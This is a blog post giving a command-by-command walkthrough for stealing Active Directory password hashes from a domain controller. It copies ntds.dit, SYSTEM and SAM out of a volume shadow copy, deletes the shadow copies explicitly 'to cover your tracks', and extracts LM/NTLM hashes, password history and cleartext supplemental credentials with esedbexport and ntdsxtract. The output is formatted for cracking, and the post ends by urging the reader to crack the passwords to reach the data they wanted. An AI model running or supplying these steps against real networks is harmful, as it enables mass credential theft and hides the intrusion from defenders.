Friday, August 14, 2015

Getting Hashes From NTDS.dit File - Updated Version

Moved from my old Wordpress Blog:

Decided to update my original post on getting hashes from NTDS.dit file.
Once you have access to a domain controller, the first step is to copy the needed files from the Volume Shadow Copy or create a copy if needed. I generally prefer to create a new copy, so I know it has the latest information.
Get ntds.dit and SYSTEM from Volume Shadow Copy on Host
Luckily Windows has built in tools to assist with collecting the files needed.
Vssadmin tool
List Volume Shadow Copies on the system:
C:\vssadmin list shadows
Example: 'vssadmin list shadows' no Shadows Available
C:\>vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

No items found that satisfy the query.
Create a new Volume Shadow Copy of the current drive:
C:\vssadmin create shadow /for=C:
Example: ‘vssadmin create shadow’ copy:
C:\>vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001 Microsoft Corp.

Successfully created shadow copy for 'c:\'
 Shadow Copy ID: {e8eb7931-5056-4f7d-a5d7-05c30da3e1b3}
 Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Pull files from the Volume Shadow copy: (EXAMPLES)
The volume shadow copy looks similar to the lines below:

\\?\GLOBALROOT\Device\<SHADOWYCOPY DISK>\windows\<directory>\<File> <where to put file>

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\ntds\ntds.dit .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SYSTEM .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy[X]\windows\system32\config\SAM .
[X] Refers to the shadow copy number, in the examples above the latest versions is HarddiskVolumeShadowCopy1
(there could be multiple copies, use the last one listed)

Registry Save

I also recommend getting a current copy of SYSTEM from the registry just in case.
Having had a couple times where the SYSTEM file from the shadow copy was corrupt.
reg SAVE HKLM\SYSTEM c:\SYS
Delete the shadows to cover your tracks:
vssadmin delete shadows /for=<ForVolumeSpec> [/oldest | /all | /shadow=<ShadowID>] [/quiet]
EXAMPLE:
 vssadmin delete shadows /for=C: /shadow=e8eb7931-5056-4f7d-a5d7-05c30da3e1b3
Now that you have the files, it is time to get the hashes
Utilities needed:
 • libesedb
 • ntdsxtract
libesedb
Download libesedb: (Use which ever method you are comfortable with below)
Release Code:
https://github.com/libyal/libesedb/releases
(Download and unzip)
Compile Code:
https://github.com/libyal/libesedb
https://github.com/libyal/libesedb/wiki/Building
git clone https://github.com/libyal/libesedb.git
cd libesedb/
./configure
make
esedbexport usage:
Use esedbexport to export items stored in an Extensible Storage Engine (ESE)
Database (EDB) file
Usage: esedbexport [ -c codepage ] [ -l logfile ] [ -m mode ] [ -t target ]
 [ -T table_name ] [ -hvV ] source 

source: the source file

-c: codepage of ASCII strings, options: ascii, windows-874,
 windows-932, windows-936, windows-1250, windows-1251,
 windows-1252 (default), windows-1253, windows-1254
 windows-1255, windows-1256, windows-1257 or windows-1258
 -h: shows this help
 -l: logs information about the exported items
 -m: export mode, option: all, tables (default)
 'all' exports all the tables or a single specified table with indexes,
 'tables' exports all the tables or a single specified table
 -t: specify the basename of the target directory to export to
 (default is the source filename) esedbexport will add the suffix
 .export to the basename
 -T: exports only a specific table
 -v: verbose output to stderr
 -V: print version
 Runing esedbexport to extract ntds.dit data:
 ./esedbexport -t <Directory to export data to> <ntds.dit file>
.export will be added to the end of the directory listed above

EXAMPLE:
 # ./esedbexport -t ~/ntds ~/ntds.dit
 esedbexport 20150409

Opening file.
 Exporting table 1 (MSysObjects) out of 11.
 Exporting table 2 (MSysObjectsShadow) out of 11.
 Exporting table 3 (MSysUnicodeFixupVer1) out of 11.
 Exporting table 4 (datatable) out of 11.
 Exporting table 5 (link_table) out of 11.
 Exporting table 6 (hiddentable) out of 11.
 Exporting table 7 (sdproptable) out of 11.
 Exporting table 8 (sd_table) out of 11.
 Exporting table 9 (quota_table) out of 11.
 Exporting table 10 (quota_rebuild_progress_table) out of 11.
 Exporting table 11 (MSysDefrag1) out of 11.
 Export completed.
(Depending on the number of user accounts this can take some time to generate)
Extracted files:
# ls ~/ntdis.export/
MSysObjects.0
MSysObjectsShadow.1
MSysUnicodeFixupVer1.2
datatable.3
link_table.4
hiddentable.5
sdproptable.6
sd_table.7
quota_table.8
quota_rebuild_progress_table.9
MSysDefrag1.10
NTDSXtract:
http://www.ntdsxtract.com/
CURRENT BUILD:
https://github.com/csababarta/ntdsxtract
git clone https://github.com/csababarta/ntdsxtract.git
Usage for dsuser.py
DSUsers v1.3.3
Extracts information related to user objects

usage: ./dsusers.py <datatable> <linktable> <work directory> [option]
datatable
The path to the file called datatable extracted by esedbexport
linktable
The path to the file called linktable extracted by esedbexport
work directory
The path to the directory where ntdsxtract should store its cache files and output files. If the directory does not exist it will be created.
options:
--sid <user sid>
List user identified by SID
--guid <user guid>
List user identified by GUID
--name <user name regexp>
List user identified by the regular expression
--active
List only active accounts
--locked
List only locked accounts
--syshive <path to system hive>
Required for password hash and history extraction
This option should be specified before the password hash
and password history extraction options!
--lmoutfile <name of the LM hash output file>
--ntoutfile <name of the NT hash output file>
--pwdformat <format of the hash output>
ophc - OphCrack format
When this format is specified the NT output file will be used
john - John The Ripper format
ocl - oclHashcat format
When this format is specified the NT output file will be used
--passwordhashes
Extract password hashes
--passwordhistory
Extract password history
--certificates
Extract certificates
--supplcreds
Extract supplemental credentials (e.g.: clear text passwords,
kerberos keys)
--membership
List groups of which the user is a member
--csvoutfile <name of the CSV output file>
The filename of the csv file to which ntdsxtract should write the
output
--debug <name of the CSV output file>
Turn on detailed error messages and stack trace
Extracting user info:
python dsusers.py <datatable> <linktable> <work directory> [option]
(datatable and linktable are from the previously extracted files)
--lmoutfile (output file for LM hashes)
--ntoutfile (output file for NTLM hashes
--pwdformat john (output in JTR format)
--syshive (SYSTEM file from system where the NTDS.dit was retrieved)
# python dsusers.py <DATATABLE FILE> <LINKTABLE FILE> <DIRECTORY TO WORK IN> --passwordhashes --lmoutfile <LM OUT FILE> --ntoutfile <NTLM OUT FILE> --pwdformat john --syshive <SYSTEM FILE>
(Add --passwordhistory to get previous hashes for each user, will vary on number hashes based on Domain settings for password history)
Example Output in JTR Format:
 # python dsusers.py ~/ntds.export/datatable.3 ~/ntds.export/link_table.4 ~/TEMP \
--passwordhashes --lmoutfile LM.out --ntoutfile NT.out --pwdformat john --syshive ~/SYSTEM

 [+] Started at: Wed, 22 Apr 2015 01:47:11 UTC
 [+] Started with options:
 [-] Extracting password hashes
 [-] LM hash output filename: LM.out
 [-] NT hash output filename: NT.out
 [-] Hash output format: john The directory (/root/TEMP) specified does not exists!
 Would you like to create it? [Y/N] y
 [+] Initialising engine...
 [+] Loading saved map files (Stage 1)...
 [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/root/TEMP/offlid.map' [+] Rebuilding maps...
 [+] Scanning database - 100% -> 40933 records processed
 [+] Sanity checks...
 Schema record id: 1481
 Schema type id: 10
 [+] Extracting schema information - 100% -> 4142 records processed
 [+] Loading saved map files (Stage 2)...
 [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/root/TEMP/links.map'
 [+] Rebuilding maps...
 [+] Extracting object links...
 List of users:
 ==============
 (This will scroll across the screen for a while depending on the number of accounts in the Domain)

Record ID: 32777
 User name: FName LName
 User principal name: email@address.net
 SAM Account name: name
 SAM Account type: SAM_NORMAL_USER_ACCOUNT
 GUID: 14a15a2a-887a-4444-a54a-aa6a4a689a00
 SID: S-1-5-21-350701555-3721294507-2303513147-3801
 When created: 2005-06-01 13:50:37
 When changed: 2013-12-12 15:08:12
 Account expires: Never
 Password last set: 2013-10-07 13:20:19.146593
 Last logon: 2013-12-11 18:35:10.166785
 Last logon timestamp: 2013-12-12 15:08:12.281517
 Bad password time 2013-12-11 00:04:52.446209
 Logon count: 6239
 Bad password count: 0
 User Account Control:
 NORMAL_ACCOUNT
 Ancestors:
 $ROOT_OBJECT$ local DOMAIN JOB Users FName LName
 Password hashes:
 name:$NT$2c8f14b95129b6eb77b1f69d04ff4000:::
 name:e4c3436ddd1f625c6fede0fa5525f000:::
(Once this finishes you will have the new files with LM hashes and NTLM hashes in your working directory)
Now that you have what you need.... it is time to start cracking passwords to get to that data you wanted…